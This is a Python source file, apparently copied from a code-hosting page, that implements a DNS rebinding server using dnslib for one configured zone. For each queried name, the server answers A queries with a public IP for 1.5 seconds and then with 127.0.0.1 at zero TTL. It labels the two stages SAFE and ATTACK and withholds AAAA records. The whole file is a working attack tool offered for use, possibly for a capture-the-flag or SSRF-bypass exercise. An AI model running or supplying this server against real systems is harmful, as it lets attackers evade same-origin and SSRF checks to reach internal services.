1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
|
#!/usr/bin/env python3
import signal
import threading
import time
from dnslib import A, QTYPE, RCODE, RR
from dnslib.server import BaseResolver, DNSLogger, DNSServer
MY_PUBLIC_IP = "8.137.79.62"
REBIND_IP = "127.0.0.1"
# 第一次查询后,在这个窗口内继续返回公网 IP
WINDOW_SIZE = 1.5
# 超过这个时间后,状态重置;同一个名字会重新从 SAFE 开始
RESET_TIME = 10.0
# 只处理这个 zone
REBIND_ZONE = "rebind.pencilfishdaydream.fun"
def normalize_qname(qname) -> str:
return str(qname).rstrip(".").lower()
class RebindingResolver(BaseResolver):
def __init__(self):
self.domains = {}
self.lock = threading.Lock()
def resolve(self, request, handler):
raw_qname = request.q.qname
key = normalize_qname(raw_qname)
qtype = QTYPE[request.q.qtype]
client = getattr(handler, "client_address", ("?", "?"))
reply = request.reply()
# 只处理 rebind zone 及其子域
if key != REBIND_ZONE and not key.endswith("." + REBIND_ZONE):
reply.header.rcode = RCODE.NXDOMAIN
print(f"[NXDOMAIN] {client[0]}:{client[1]} {qtype} {key}")
return reply
# AAAA 一律不给,避免解析器优先走 IPv6
if request.q.qtype == QTYPE.AAAA:
print(f"[NO-AAAA] {client[0]}:{client[1]} {qtype} {key}")
return reply
# 只对 A 做 rebinding
if request.q.qtype != QTYPE.A:
print(f"[IGNORE] {client[0]}:{client[1]} {qtype} {key}")
return reply
now = time.time()
with self.lock:
if key not in self.domains or (now - self.domains[key] > RESET_TIME):
self.domains[key] = now
start_time = self.domains[key]
elapsed = now - start_time
if elapsed < WINDOW_SIZE:
ip = MY_PUBLIC_IP
stage = "SAFE"
else:
ip = REBIND_IP
stage = "ATTACK"
reply.add_answer(
RR(
rname=raw_qname,
rtype=QTYPE.A,
ttl=0,
rdata=A(ip),
)
)
print(
f"[{stage}] {client[0]}:{client[1]} A {key} "
f"elapsed={elapsed:.3f}s -> {ip}"
)
return reply
def main():
resolver = RebindingResolver()
logger = DNSLogger(prefix=False)
udp_server = DNSServer(
resolver,
port=53,
address="0.0.0.0",
tcp=False,
logger=logger,
)
tcp_server = DNSServer(
resolver,
port=53,
address="0.0.0.0",
tcp=True,
logger=logger,
)
udp_server.start_thread()
tcp_server.start_thread()
print(f"[*] DNS rebinding server started on udp/tcp 53")
print(f"[*] Zone : {REBIND_ZONE}")
print(f"[*] SAFE IP : {MY_PUBLIC_IP}")
print(f"[*] ATTACK IP : {REBIND_IP}")
print(f"[*] WINDOW : {WINDOW_SIZE}s")
print(f"[*] RESET : {RESET_TIME}s")
stop = threading.Event()
def handle_stop(signum, frame):
stop.set()
signal.signal(signal.SIGINT, handle_stop)
signal.signal(signal.SIGTERM, handle_stop)
try:
while not stop.is_set():
time.sleep(0.5)
finally:
udp_server.stop()
tcp_server.stop()
print("[*] DNS rebinding server stopped")
if __name__ == "__main__":
main()
|